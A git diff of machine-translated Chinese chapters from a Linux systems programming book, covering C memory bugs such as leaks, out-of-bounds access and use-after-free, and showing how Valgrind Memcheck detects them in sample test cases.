test: case 3: "lib" API: runtime cond = 1 -mypath = /usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/sbin:/usr/sbin:/usr/local/sbin:/home/kai/Mentorimg/Sourcery_CodeBench_Lite_for_ARM_GNU_Linux/bin/:/mnt/big/scratchpad/buildroot-2017.08.1/output/host/bin/:/sbin:/usr/sbin:/usr/local/sbin -$ -``` - -通过查看输出没有明显的错误-这就是这些错误如此危险的部分原因! - -这个案例对于开发人员和测试人员来说至关重要;它需要检查几个真实世界的示例。 - -# 测试用例 13.2 - -示例-*Motif*库**。***Motif*是旧库,是 X Window System 的一部分;它被用来(也许现在仍然是)为 Unix(和类 Unix)系统开发 GUI。 - -出于本例的目的,我们将重点介绍它的一个 API:`XmStringCreateLocalized(3)`。 GUI 开发人员使用此函数来创建 Motif 所称的“复合字符串”-本质上,它只是一个在特定地区保存文本的字符串(出于 I18N 国际化的目的)。 这是它的签名: - -```sh -#include -XmString XmStringCreateLocalized(char *text); -``` - -因此,假设开发人员使用它来生成复合字符串(用于各种目的;通常用于标签或按钮小部件的标签)。 - -那么,有什么问题呢? -泄漏! 多么?。 阅读`XmStringCreateLocalized(3)`上手册页([https://linux.die.net/man/3/xmstringcreatelocalized](https://linux.die.net/man/3/xmstringcreatelocalized))中的文档: - -```sh -[...] - -The function will allocate space to hold the returned compound string. The application is responsible for managing the allocated space. The application can recover the allocated space by calling XmStringFree. -[...] -``` - -显然,开发人员不仅必须调用`XmStringCreateLocalized(3)`,还必须记住通过调用`XmStringFree(3)`释放其内部为复合字符串分配的内存! - -如果不这样做,将导致泄漏。 我对这种情况有亲身体验-一个有缺陷的应用调用了`XmStringCreateLocalized(3)`,而没有调用它的对应程序`XmStringFree(3)`。 不仅如此,这段代码还经常运行,因为它是作为外部循环主体的一部分被调用的! 因此,泄漏量成倍增加。 - -# 测试用例 13.3 - -示例-北电网络移植项目。 **有一个关于 Nortel(加拿大的一家大型电信和网络设备跨国公司)的开发人员很难调试结果是内存泄漏问题的故事(参见下面的信息框)。 问题的症结在于:在将 Unix 应用移植到 VxWorks 时,他们在测试时注意到出现了一个 18 字节的小泄漏,这最终会导致应用崩溃。 找到泄漏源是一场噩梦--无休止地检查代码没有提供任何线索。 最后,事实证明,游戏规则改变者使用了泄漏检测工具(我们将在即将到来的[第 6 章](06.html),*内存问题调试工具*中介绍这一点)。 在几分钟内,他们就发现了泄漏的根本原因:一个看起来无辜的 API`inet_ntoa(3)`(请参阅信息框),它在 Unix 和 VxWorks 上都以通常的方式工作。 问题是:在 VxWorks 实现中,它在幕后分配内存-调用者负责释放内存! 这一事实被记录在案,但它是一个移植项目! 一旦这一事实被认识到,它很快就被解决了。** - -**Article: The ten secrets of embedded debugging, Schneider and Fraleigh: [https://www.embedded.com/design/prototyping-and-development/4025015/The-ten-secrets-of-embedded-debugging](https://www.embedded.com/design/prototyping-and-development/4025015/The-ten-secrets-of-embedded-debugging) -The man page entry on `inet_ntoa(3)` states: The `inet_ntoa()` function converts the Internet host address in, given in network byte order, to a string in IPv4 dotted-decimal notation. The string is returned in a statically allocated buffer, which subsequent calls will overwrite. - -对存在泄漏错误的程序的一些观察: - -* 该程序在很长很长一段时间内都运行正常;比方说,在正常运行一个月后,它突然崩溃。 -* 根泄漏可能非常小-一次只有几个字节;但可能经常被调用。 -* 试图通过仔细匹配`malloc(3)`实例和`free(3)`实例来查找泄漏错误是行不通的;库 API 包装器通常会在幕后分配内存,并期望调用者释放内存。 -* 泄漏通常不会被注意到,因为它们本身很难在大型代码库中被发现,一旦进程死亡,泄漏的内存就会被释放回系统。 - -底线是: - -* 不要假设任何事情 -* 请仔细阅读 API 文档 -* 使用工具(在即将到来的[第 6 章](06.html),以及*调试工具中介绍内存问题*) - -使用工具检测内存错误的重要性怎么强调都不为过! - -# 未定义的行为 - -我们已经讨论了相当多的内容,并且看到了相当多常见的内存错误,其中包括: - -* 错误的内存访问 - * 使用未初始化的变量 - * 内存访问越界(读/写下溢/溢出错误) - * 释放后使用/返回后使用(超出范围)错误 - * 双重免费 -* 渗漏 / 泄密 / 泄漏 -* 数据竞赛*(*详情见下一章) - -正如前面提到的,所有这些都归入一个通用的分类-UB。正如这句话所暗示的,一旦这些错误中的任何一个被击中,进程(或线程)的行为就是*未定义的*。 更糟糕的是,它们中的许多都没有表现出任何直接明显的副作用;但这个过程是不稳定的,最终会崩溃。 尤其是泄漏错误,在这一点上是主要的破坏因素:在真正发生崩溃之前,泄漏可能会存在很长一段时间。 不仅如此,留下的痕迹(开发人员会气喘吁吁地追逐)可能经常是转移注意力的事情-无关紧要的事情,与 bug 的根本原因没有真正关系的事情。 当然,所有这些都使得调试 UB 成为我们大多数人都希望避免的经历! - -好消息是,UB 是可以避免的,只要开发人员了解 UB 的根本原因(我们在前面的小节中已经介绍过),当然还有使用强大的工具发现并修复这些错误的能力,这是我们下一个主题领域。 - -For a deeper look at the many, many possible kinds of UB bugs, please check out:*Appendix J.2: Undefined behavior*: a nonnormative, non-exhaustive list of undefined behaviors in C: [http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1548.pdf#page=571](http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1548.pdf#page=571). -From the in-depth C Programming Language standards—the ISO/IEC 9899:201x Committee Draft dated 02 Dec 2010. - -Along similar lines, please see *CWE VIEW: Weaknesses in Software Written in C*:[https://cwe.mitre.org/data/definitions/658.html](https://cwe.mitre.org/data/definitions/658.html). - -# 破碎 / 分裂 / 存储残片 / 分段存储 - -碎片问题通常指的是内存分配引擎本身的内部实现主要面临的问题,而不是典型的应用开发人员所面临的问题。 碎片问题通常有两种类型:内部和外部。 - -外部内存碎片通常指的是这样一种情况,即在正常运行几天后,即使系统上的空闲内存为(比方说)100MB,物理上连续的空闲内存可能不到 1 兆字节。 因此,随着进程获取和释放各种大小的内存块,内存变得支离破碎。 - -内部碎片通常指的是使用低效分配策略导致的内存浪费;不过,这通常是无能为力的,因为浪费往往是许多基于堆的分配器的副作用。 现代的 glibc 引擎使用内存池,这极大地减少了内部碎片。 - -在这本书中,我们不会试图深入探讨支离破碎的问题。 - -Suffice it to say that, if in a large project you suspect fragmentation issues, you should try using a tool that displays your process runtime memory map (on Linux, check out `/proc//maps` as a starting point). Interpreting it, you could possibly look at redesigning your application to avoid said fragmentation. - -# 混杂的 / 各种各样的 / 多才多艺的 - -此外,一定要认识到,除非内存已经分配,否则尝试只使用指针访问内存是错误的。 请记住,指针没有内存;必须为它们分配内存(无论是在编译时静态分配还是在运行时动态分配)。 - -例如,编写一个使用参数作为返回值的 C 函数-这是一个常见的 C 编程技巧(通常称为值-结果或输入-输出参数): - -```sh -unsigned long *uptr; -[...] - my_awesome_func(uptr); // bug! value to be returned in 'uptr' -[...] -``` - -这是一个错误;参数`uptr`变量只是一个指针-它没有内存。 解决此问题的一种方法如下: - -```sh -unsigned long *uptr; -[...] - uptr = malloc(sizeof(unsigned long)); - if (!uptr) { - [...handle the error...] - } - my_awesome_func(uptr); // value returned in 'uptr' - [...] - free(uptr); -``` - -或者,更简单的是,为什么不在这样的情况下使用编译时内存: - -```sh -unsigned long uptr; // compile-time allocated memory -[...] - my_awesome_func(&uptr); // value returned in 'uptr' -[...] -``` - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -在本章中,我们深入研究了一个关键领域:看似简单的动态内存管理 API 可能会在实际系统中导致严重且难以检测的错误。 - -讨论了常见的内存错误类别,如**未初始化内存使用**(**UMR**)、越界访问(读取|写入下溢|溢出错误)和双重释放。 内存泄漏是一种常见而危险的内存缺陷-我们研究了三种不同的情况。 - -提供的`membugs`程序帮助读者实际看到并尝试通过小测试用例覆盖的各种内存错误。在下一章中,我们将深入研究如何使用工具来帮助识别这些危险的缺陷。** \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/06.md b/docs/handson-sys-prog-linux/06.md deleted file mode 100644 index dcccb11d..00000000 --- a/docs/handson-sys-prog-linux/06.md +++ /dev/null @@ -1,1294 +0,0 @@ -# 六、内存问题的调试工具 - -我们人类(我们假设是人类在读这本书,而不是某种形式的人工智能,现在谁知道呢)擅长许多错综复杂的任务;但我们也不擅长许多平凡的任务。 这就是我们发明计算机的原因--用软件来驱动它们! - -井。 我们并不擅长发现隐藏在 C(或汇编)代码内部的细节-内存错误是我们人类可以使用帮助的最好例子。 所以,你猜怎么着:我们发明了软件工具来帮助我们-它们做着平凡而乏味的工作,检测和检查我们数以百万计和数十亿行的代码和二进制文件,并且在捕捉我们的错误方面变得非常有效。 当然,说到底,最好的工具仍然是你的大脑,但人们可能会问:谁会调试你用来调试的工具,用什么来调试?答案当然是更多的工具,还有你这个人类程序员。 - -在本章中,读者将学习使用两款同类最佳的内存调试工具: - -* 瓦尔格林德(氏)Memcheck -* 消毒剂工具(ASAN) - -提供了总结和比较它们的功能的有用的表格。 此外,还可以看到 glibc 通过`mallopt(3)`进行的 malloc 调优。 - -This particular chapter has no source code of it's own; instead, we use the source code from the preceding chapter, [Chapter 5](05.html), *Linux Memory Issues. *Our `membugs` program test cases will be tried and tested under both Valgrind and ASan to see if they can catch the memory bugs that our *memugs* program's test cases work hard to provide. Thus, we definitely suggest you look over the previous chapter, and the `membugs.c` source code, to regain familiarity with the test cases we will be running. - -# 刀具类型 - -一般而言,在这些领域的范围内,有两种工具: - -* 动态分析工具 -* 静态分析工具 - -动态分析工具本质上是通过检测运行时流程来工作的。 因此,为了最大限度地利用它们,必须投入大量精力来确保这些工具实际运行在所有可能的代码路径上;要做到这一点,必须仔细而艰苦地编写测试用例,以确保完整的代码覆盖*。* 这是一个关键点,我们将再次提及(重要的是,[第 19 章](19.html)、*故障排除和最佳实践*涵盖了这些要点)。 虽然功能非常强大,但动态分析工具通常会导致显著的运行时性能损失和更多的内存使用。 - -另一方面,静态分析工具处理源代码;从这个意义上说,它们类似于编译器。 它们通常远远超出了典型的编译器,帮助开发人员发现各种潜在的 bug。 也许最初的 Unix*lint*程序可以被认为是当今强大的静态分析器的前身。 如今,功能非常强大的商业静态分析器(带有花哨的 GUI 前端)已经存在,人们在它们上面花费的金钱和时间都是物有所值的。 缺点是,这些工具可能会引发很多误报;更好的工具可以让程序员执行有用的过滤。 我们不会在本文中讨论静态分析器(请参阅 GitHub 存储库上的*进一步阅读*部分,以获取 C/C++的静态分析器列表)。 - -现在,让我们来看看一些现代内存调试工具;它们都属于高级动态分析工具类。 一定要学会如何有效地使用它们--它们是对抗各种**未定义行为**(**UB**)的必要武器。 - -# 瓦尔格林德 - -Valgrind(发音为*val-grinned*)是一套强大工具的工具框架。 它是**开源软件**(**OSS**),根据 GNU GPL 版本的条款发布。 2;它最初是由朱利安·苏厄德(Julian Seward)开发的。 Valgrind 是一套屡获殊荣的内存调试和分析工具套件。 它已经发展成为创建动态分析工具的框架。 实际上,它实际上是一个虚拟机;Valgrind 使用一种称为**动态二进制插装**(DBI)的技术来插装代码。 在其主页上阅读更多内容:[http://valgrind.org/](http://valgrind.org/)。 - -Valgrind 的巨大优势在于它的工具套件--主要是**Memcheck**工具(**Memcheck**)。 下表中(按字母顺序)列出了其他几种检查器和性能分析工具: - -| **有效研磨工具名称** | **目的** | -| 高速缓存研磨 | CPU 缓存探查器。 | -| Callgrind | Cachegrind 的扩展;提供更多调用图信息。 KCachegrind 是 cachegrind/callgrind 的一个很好的 GUI 可视化工具。 | -| DRD | PthreadsBug 检测器。 | -| 赫尔格林德 | 用于多线程应用(主要是 P 线程)的数据竞争检测器。 | -| 群山,山地 | 堆分析器(堆使用图表、最大分配跟踪)。 | -| Memcheck | 内存错误检测器;包括**越界**(**OOB**)访问(读|写在|溢出下)、未初始化的数据访问、UAF、UAR、内存泄漏、双重释放和重叠内存区域错误。 这是默认工具。 | - -请注意,表中没有列出一些较少使用的工具(如 lakey、nulgrind、no)和一些实验工具(exp-bbv、exp-dhat、exp-sgcheck)。 - -选择一个工具,使 Valgrind 通过`--tool=`选项运行(将前述任一项作为参数)。 在本书中,我们只关注 Valgrind 的 Memcheck 工具。 - -# 使用 Valgrind 的 Memcheck 工具 - -Memcheck 是 Valgrind 的默认工具;您不需要显式传递它,但可以使用`valgrind --tool=memcheck `语法进行传递。 - -作为一个简单的示例,让我们在`df(1)`实用程序(在 Ubuntu 机器上)上运行 Valgrind: - -```sh -$ lsb_release -a -No LSB modules are available. -Distributor ID: Ubuntu -Description: Ubuntu 17.10 -Release: 17.10 -Codename: artful -$ df --version |head -n1 -df (GNU coreutils) 8.26 -$ valgrind df -==1577== Memcheck, a memory error detector -==1577== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. -==1577== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info -==1577== Command: df -==1577== -Filesystem 1K-blocks Used Available Use% Mounted on -udev 479724 0 479724 0% /dev -tmpfs 100940 10776 90164 11% /run -/dev/sda1 31863632 8535972 21686036 29% / -tmpfs 504692 0 504692 0% /dev/shm -tmpfs 5120 0 5120 0% /run/lock -tmpfs 504692 0 504692 0% /sys/fs/cgroup -tmpfs 100936 0 100936 0% /run/user/1000 -==1577== -==1577== HEAP SUMMARY: -==1577== in use at exit: 3,577 bytes in 213 blocks -==1577== total heap usage: 447 allocs, 234 frees, 25,483 bytes allocated -==1577== -==1577== LEAK SUMMARY: -==1577== definitely lost: 0 bytes in 0 blocks -==1577== indirectly lost: 0 bytes in 0 blocks -==1577== possibly lost: 0 bytes in 0 blocks -==1577== still reachable: 3,577 bytes in 213 blocks -==1577== suppressed: 0 bytes in 0 blocks -==1577== Rerun with --leak-check=full to see details of leaked memory -==1577== -==1577== For counts of detected and suppressed errors, rerun with: -v -==1577== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) -$ -``` - -Valgrind 从字面上接管并运行其中的`df`进程,检测所有动态内存访问。 然后打印报告。 在前面的代码中,行的前缀是`==1577==`;这只是`df`进程的 PID。 - -由于没有发现运行时内存错误,因此不会出现任何输出(当我们在 Valgrind 的控制下运行`membugs`程序时,您很快就会看到不同之处)。 在内存泄漏方面,报告指出: - -```sh -definitely lost: 0 bytes in 0 blocks -``` - -所有这些都是零值,所以没问题。 如果`definitely lost`下的值为正数,则这确实表明存在内存泄漏错误,必须进一步调查和修复。 其他标签-`indirectly`/`possibly lost`,`still reachable`-通常是由于代码库中复杂或间接的内存处理(实际上,它们通常是人们可以忽略的假阳性)。 - -`still reachable`通常表示在进程退出时,一些内存块没有被应用显式释放(但在进程死亡时被隐式释放)。 以下语句显示了这一点: - -* **在退出**时使用:213 个块中的 3577 个字节 -* **总堆使用量**:447 个分配,234 个释放,25,483 个字节 - -在总共 447 个分配中,只完成了 234 个释放,留下了 447-234=213 个未释放的块。 - -好,现在是有趣的部分:让我们在 Valgrind 下运行我们的`membugs`程序测试用例(来自前面的[第 5 章](05.html)和*Linux 内存问题*),看看它是否捕获了测试用例努力提供的内存错误。 - -我们绝对建议您阅读上一章以及`membugs.c`源代码,以重新熟悉我们将要运行的测试用例。 - -The membugs program has a total of 13 test cases; we shall not attempt to display the output of all of them within the book; we leave it as an exercise to the reader to try running the program with all test cases under Valgrind and deciphering its output report. -It would be of interest to most readers to see the summary table at the end of this section, showing the result of running Valgrind on each of the test cases. - -**测试用例#1:未初始化的内存访问** - -```sh -$ ./membugs 1 -true: x=32568 -$ -``` - -For readability, we remove parts of the output shown as follows and truncate the program pathname. - -现在在 Valgrind 的控制下: - -```sh -$ valgrind ./membugs 1 -==19549== Memcheck, a memory error detector -==19549== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. -==19549== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info -==19549== Command: ./membugs 1 -==19549== -==19549== Conditional jump or move depends on uninitialised value(s) -==19549== at 0x40132C: uninit_var (in <...>/ch3/membugs) -==19549== by 0x401451: process_args (in <...>/ch3/membugs) -==19549== by 0x401574: main (in <...>/ch3/membugs) -==19549== - -[...] - -==19549== Conditional jump or move depends on uninitialised value(s) -==19549== at 0x4E9101C: vfprintf (in /usr/lib64/libc-2.26.so) -==19549== by 0x4E99255: printf (in /usr/lib64/libc-2.26.so) -==19549== by 0x401357: uninit_var (in <...>/ch3/membugs) -==19549== by 0x401451: process_args (in <...>/ch3/membugs) -==19549== by 0x401574: main (in <...>/ch3/membugs) -==19549== -false: x=0 -==19549== -==19549== HEAP SUMMARY: -==19549== in use at exit: 0 bytes in 0 blocks -==19549== total heap usage: 1 allocs, 1 frees, 1,024 bytes allocated -==19549== -==19549== All heap blocks were freed -- no leaks are possible -==19549== -==19549== For counts of detected and suppressed errors, rerun with: -v -==19549== Use --track-origins=yes to see where uninitialised values come from -==19549== ERROR SUMMARY: 6 errors from 6 contexts (suppressed: 0 from 0) -$ -``` - -显然,Valgrind 发现了未初始化的内存访问错误! 用粗体突出显示的文本清楚地揭示了这一情况。 - -但是,请注意,尽管 Valgrind 可以向我们显示调用堆栈(包括进程路径名),但它似乎无法向我们显示源代码中出现错误的行号。 不过,等一下。 我们可以通过将 Valgrind 与该程序的启用调试版本一起运行来精确地实现这一点: - -```sh -$ make membugs_dbg -gcc -g -ggdb -gdwarf-4 -O0 -Wall -Wextra -c membugs.c -o membugs_dbg.o - -[...] - -membugs.c: In function ‘uninit_var’: -membugs.c:283:5: warning: ‘x’ is used uninitialized in this function [-Wuninitialized] - if (x > MAXVAL) - ^ - -[...] - -gcc -g -ggdb -gdwarf-4 -O0 -Wall -Wextra -c ../common.c -o common_dbg.o -gcc -o membugs_dbg membugs_dbg.o common_dbg.o - -[...] -``` - -Common GCC flags used for debugging - -See the `gcc(1)` man page for details. Briefly:`-g`: Produce sufficient debugging information such that a tool such as the **GNU Debugger** (**GDB**) has to debug symbolic information to work with (modern Linux would typically use the DWARF format). -`-ggdb`: Use the most expressive format possible for the OS. -`-gdwarf-4`: Debug info is in the DWARF- format (ver. 4 is appropriate). -`-O0` : Optimization level `0`; good for debugging. - -在下面的代码中,我们使用启用调试的二进制可执行文件版本`membugs_dbg`重试运行 Valgrind: - -```sh -$ valgrind --tool=memcheck ./membugs_dbg 1 -==20079== Memcheck, a memory error detector -==20079== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. -==20079== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info -==20079== Command: ./membugs_dbg 1 -==20079== -==20079== Conditional jump or move depends on uninitialised value(s) -==20079== at 0x40132C: uninit_var (membugs.c:283) -==20079== by 0x401451: process_args (membugs.c:326) -==20079== by 0x401574: main (membugs.c:379) -==20079== -==20079== Conditional jump or move depends on uninitialised value(s) -==20079== at 0x4E90DAA: vfprintf (in /usr/lib64/libc-2.26.so) -==20079== by 0x4E99255: printf (in /usr/lib64/libc-2.26.so) -==20079== by 0x401357: uninit_var (membugs.c:286) -==20079== by 0x401451: process_args (membugs.c:326) -==20079== by 0x401574: main (membugs.c:379) -==20079== -==20079== Use of uninitialised value of size 8 -==20079== at 0x4E8CD7B: _itoa_word (in /usr/lib64/libc-2.26.so) -==20079== by 0x4E9043D: vfprintf (in /usr/lib64/libc-2.26.so) -==20079== by 0x4E99255: printf (in /usr/lib64/libc-2.26.so) -==20079== by 0x401357: uninit_var (membugs.c:286) -==20079== by 0x401451: process_args (membugs.c:326) -==20079== by 0x401574: main (membugs.c:379) - -[...] - -==20079== -false: x=0 -==20079== -==20079== HEAP SUMMARY: -==20079== in use at exit: 0 bytes in 0 blocks -==20079== total heap usage: 1 allocs, 1 frees, 1,024 bytes allocated -==20079== -==20079== All heap blocks were freed -- no leaks are possible -==20079== -==20079== For counts of detected and suppressed errors, rerun with: -v -==20079== Use --track-origins=yes to see where uninitialised values come from -==20079== ERROR SUMMARY: 6 errors from 6 contexts (suppressed: 0 from 0) -$ -``` - -像往常一样,以自下而上的方式读取调用堆栈,这样就有意义了! - -Important: Please note that, unfortunately, it's quite possible that the precise line numbers shown in the output as follows may not precisely match the line number in the latest version of the source file in the book's GitHub repository. - -以下是源代码(这里使用`nl`实用程序来显示带有编号的所有行的代码): - -```sh -$ nl --body-numbering=a membugs.c [...] - - 278 /* option = 1 : uninitialized var test case */ - 279 static void uninit_var() - 280 { - 281 int x; - 282 - 283 if (x) 284 printf("true case: x=%d\n", x); - 285 else - 286 printf("false case\n"); - 287 } - -[...] - - 325 case 1: - 326 uninit_var(); - 327 break; - -[...] - - 377 int main(int argc, char **argv) - 378 { - 379 process_args(argc, argv); - 380 exit(EXIT_SUCCESS); - 381 } -``` - -现在我们可以看到,Valgrind 确实完美地捕捉到了 Buggy 案例。 - -**测试用例#5:**编译时内存上的读取溢出: - -```sh -$ valgrind ./membugs_dbg 5 -==23024== Memcheck, a memory error detector -==23024== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. -==23024== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info -==23024== Command: ./membugs_dbg 5 -==23024== -arr = aaaaa���� -==23024== -==23024== HEAP SUMMARY: -==23024== in use at exit: 0 bytes in 0 blocks -==23024== total heap usage: 1 allocs, 1 frees, 1,024 bytes allocated -==23024== -==23024== All heap blocks were freed -- no leaks are possible -==23024== -==23024== For counts of detected and suppressed errors, rerun with: -v -==23024== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) -$ -``` - -你看那个!? Valgrind 无法捕获读取溢出内存错误。 为什么? 这是一个限制:Valgrind 只能检测并捕获动态分配内存上的 UB(错误)。 前面的测试用例使用静态编译时分配的内存。 - -因此,让我们尝试相同的测试,但这一次使用动态分配的内存;这正是测试用例#6 的设计目的。 - -**测试用例#6:**动态内存上的读取溢出(为了可读性,我们截断了一些输出): - -```sh -$ ./membugs_dbg 2>&1 |grep 6 - option = 6 : out-of-bounds : read overflow [on dynamic memory] -$ valgrind ./membugs_dbg 6 -[...] -==23274== Command: ./membugs_dbg 6 -==23274== -==23274== Invalid write of size 1 -==23274== at 0x401127: read_overflow_dynmem (membugs.c:215) -==23274== by 0x401483: process_args (membugs.c:341) -==23274== by 0x401574: main (membugs.c:379) -==23274== Address 0x521f045 is 0 bytes after a block of size 5 alloc'd -==23274== at 0x4C2FB6B: malloc (vg_replace_malloc.c:299) -==23274== by 0x4010D9: read_overflow_dynmem (membugs.c:205) -==23274== by 0x401483: process_args (membugs.c:341) -==23274== by 0x401574: main (membugs.c:379) -[...] -==23274== Invalid write of size 1 -==23274== at 0x40115E: read_overflow_dynmem (membugs.c:216) -==23274== by 0x401483: process_args (membugs.c:341) -==23274== by 0x401574: main (membugs.c:379) -==23274== Address 0x521f04a is 5 bytes after a block of size 5 alloc'd -==23274== at 0x4C2FB6B: malloc (vg_replace_malloc.c:299) -==23274== by 0x4010D9: read_overflow_dynmem (membugs.c:205) -==23274== by 0x401483: process_args (membugs.c:341) -==23274== by 0x401574: main (membugs.c:379) -==23274== -==23274== Invalid read of size 1 -==23274== at 0x4C32B94: strlen (vg_replace_strmem.c:458) -==23274== by 0x4E91955: vfprintf (in /usr/lib64/libc-2.26.so) -==23274== by 0x4E99255: printf (in /usr/lib64/libc-2.26.so) -==23274== by 0x401176: read_overflow_dynmem (membugs.c:217) -==23274== by 0x401483: process_args (membugs.c:341) -==23274== by 0x401574: main (membugs.c:379) -==23274== Address 0x521f045 is 0 bytes after a block of size 5 alloc'd -==23274== at 0x4C2FB6B: malloc (vg_replace_malloc.c:299) -==23274== by 0x4010D9: read_overflow_dynmem (membugs.c:205) -==23274== by 0x401483: process_args (membugs.c:341) -==23274== by 0x401574: main (membugs.c:379) -[...] -arr = aaaaaSecreT -==23274== Conditional jump or move depends on uninitialised value(s) -==23274== at 0x4E90DAA: vfprintf (in /usr/lib64/libc-2.26.so) -==23274== by 0x4E99255: printf (in /usr/lib64/libc-2.26.so) -==23274== by 0x401195: read_overflow_dynmem (membugs.c:220) -==23274== by 0x401483: process_args (membugs.c:341) -==23274== by 0x401574: main (membugs.c:379) -==23274== -==23274== Use of uninitialised value of size 8 -==23274== at 0x4E8CD7B: _itoa_word (in /usr/lib64/libc-2.26.so) -==23274== by 0x4E9043D: vfprintf (in /usr/lib64/libc-2.26.so) -==23274== by 0x4E99255: printf (in /usr/lib64/libc-2.26.so) -==23274== by 0x401195: read_overflow_dynmem (membugs.c:220) -==23274== by 0x401483: process_args (membugs.c:341) -==23274== by 0x401574: main (membugs.c:379) -[...] -==23274== ERROR SUMMARY: 31 errors from 17 contexts (suppressed: 0 from 0) -$ -``` - -这一次,由于精确的调用堆栈位置揭示了源代码中的确切位置(正如我们用`-g`编译的那样),因此捕获了大量错误。 - -**测试用例#8:****UAF**(**释放后使用**): - -```sh -$ ./membugs_dbg 2>&1 |grep 8 - option = 8 : UAF (use-after-free) test case -$ -``` - -![](img/8edb68da-2b47-4a7d-884a-5184c6a8bbe9.png) - -A (partial) screenshot of the action when Valgrind catches the UAF bugs - -瓦尔格林德确实抓住了 UAF! - -**测试用例#8:****UAR**(**退货后使用**): - -```sh -$ ./membugs_dbg 9 -res: (null) -$ valgrind ./membugs_dbg 9 -==7594== Memcheck, a memory error detector -==7594== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. -==7594== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info -==7594== Command: ./membugs_dbg 9 -==7594== -res: (null) -==7594== -==7594== HEAP SUMMARY: -==7594== in use at exit: 0 bytes in 0 blocks -==7594== total heap usage: 1 allocs, 1 frees, 1,024 bytes allocated -==7594== -==7594== All heap blocks were freed -- no leaks are possible -==7594== -==7594== For counts of detected and suppressed errors, rerun with: -v -==7594== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) -$ -``` - -哎呀! Valgrind 没有捕捉到 UAR 的臭虫! - -**测试用例#13:**内存泄漏用例#3-lib API 泄漏。我们通过选择 13 作为*membugs*的参数来运行内存泄漏测试用例#3。 值得注意的是,只有在使用`--leak-check=full`选项运行时,Valgrind 才会显示泄漏的来源(通过显示的调用堆栈): - -```sh -$ valgrind --leak-resolution=high --num-callers=50 --leak-check=full ./membugs_dbg 13 -==22849== Memcheck, a memory error detector -==22849== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. -==22849== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info -==22849== Command: ./membugs_dbg 13 -==22849== - -## Leakage test: case 3: "lib" API: runtime cond = 0 -mypath = /usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/sbin:/usr/sbin:/usr/local/sbin:/home/kai/Mentorimg/Sourcery_CodeBench_Lite_for_ARM_GNU_Linux/bin/:/mnt/big/scratchpad/buildroot-2017.08.1/output/host/bin/:/sbin:/usr/sbin:/usr/local/sbin - -## Leakage test: case 3: "lib" API: runtime cond = 1 -mypath = /usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/sbin:/usr/sbin:/usr/local/sbin:/home/kai/Mentorimg/Sourcery_CodeBench_Lite_for_ARM_GNU_Linux/bin/:/mnt/big/scratchpad/buildroot-2017.08.1/output/host/bin/:/sbin:/usr/sbin:/usr/local/sbin -==22849== -==22849== HEAP SUMMARY: -==22849== in use at exit: 4,096 bytes in 1 blocks -==22849== total heap usage: 3 allocs, 2 frees, 9,216 bytes allocated -==22849== -==22849== 4,096 bytes in 1 blocks are definitely lost in loss record 1 of 1 -==22849== at 0x4C2FB6B: malloc (vg_replace_malloc.c:299) -==22849== by 0x400A0C: silly_getpath (membugs.c:38) -==22849== by 0x400AC6: leakage_case3 (membugs.c:59) -==22849== by 0x40152B: process_args (membugs.c:367) -==22849== by 0x401574: main (membugs.c:379) -==22849== -==22849== LEAK SUMMARY: -==22849== definitely lost: 4,096 bytes in 1 blocks -==22849== indirectly lost: 0 bytes in 0 blocks -==22849== possibly lost: 0 bytes in 0 blocks -==22849== still reachable: 0 bytes in 0 blocks -==22849== suppressed: 0 bytes in 0 blocks -==22849== -==22849== For counts of detected and suppressed errors, rerun with: -v -==22849== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0) -$ -``` - -Valgrind 手册页建议将`--leak-resolution=high`和`--num-callers=`设置为 40 或更高。 - -`valgrind(1)`上的手册页涵盖了它提供的许多选项(如日志记录和工具(Memcheck)选项);请看一看,以便更深入地了解该工具的用法。 - -# Valgrind 汇总表 - -关于我们的测试用例(合并到我们的`membugs`程序中),下面是 Valgrind 的成绩单和内存错误,如下所示: - -| **测试用例编号** | **测试用例** | **是否由 Valgrind 检测到?** | -| 1. | **未初始化的存储器读取**(**UMR**) | 是的,是的。 | -| 2 个 | **越界**(**OOB**):写入溢出 -[在编译时内存上] | 不是 | -| 3. | OOB:写入溢出 -[在动态内存上] | 是 | -| 4. | OOB:写入下溢 -[在动态内存上] | 是 | -| 5. | OOB:读取溢出 -[在编译时内存上] | 不是 | -| 6. | OOB:读取溢出 -[在动态内存上] | 是 | -| 7. | OOB:读取下溢 -[在动态内存上] | 是 | -| 8 个 | UAF,也称为悬挂式指针 | 是 | -| 9. | UAR,也称为**范围后使用**(**UAS**) | 不是 | -| 10 个 | 双重免费 | 是 | -| 11. | 内存泄漏测试用例 1:简单泄漏 | 是 | -| 12 个 | 内存泄漏测试用例 1:泄漏更多(循环中) | 是 | -| 13 个 | 内存泄漏测试案例 1:Lib API 泄漏 | 是 | - -# Valgrind 利弊:快速总结 - -Valgrind 专业人员*:* - -* 捕获动态分配的内存区域 - 上的常见内存错误(UB) - * 使用未初始化的变量 - * 内存访问越界(读/写下溢/溢出错误) - * 释放后使用/返回后使用(超出范围)错误 - * 双重免费 - * 渗漏 / 泄密 / 泄漏 - -* 无需修改源代码 -* 不需要重新编译 -* 不需要特殊的编译器标志 - -Valgrind CONS: - -* 性能:在 Valgrind 下运行时,目标软件的运行速度可能会降低 10 到 30 倍。 -* 内存占用:目标程序中的每个分配都需要 Valgrind 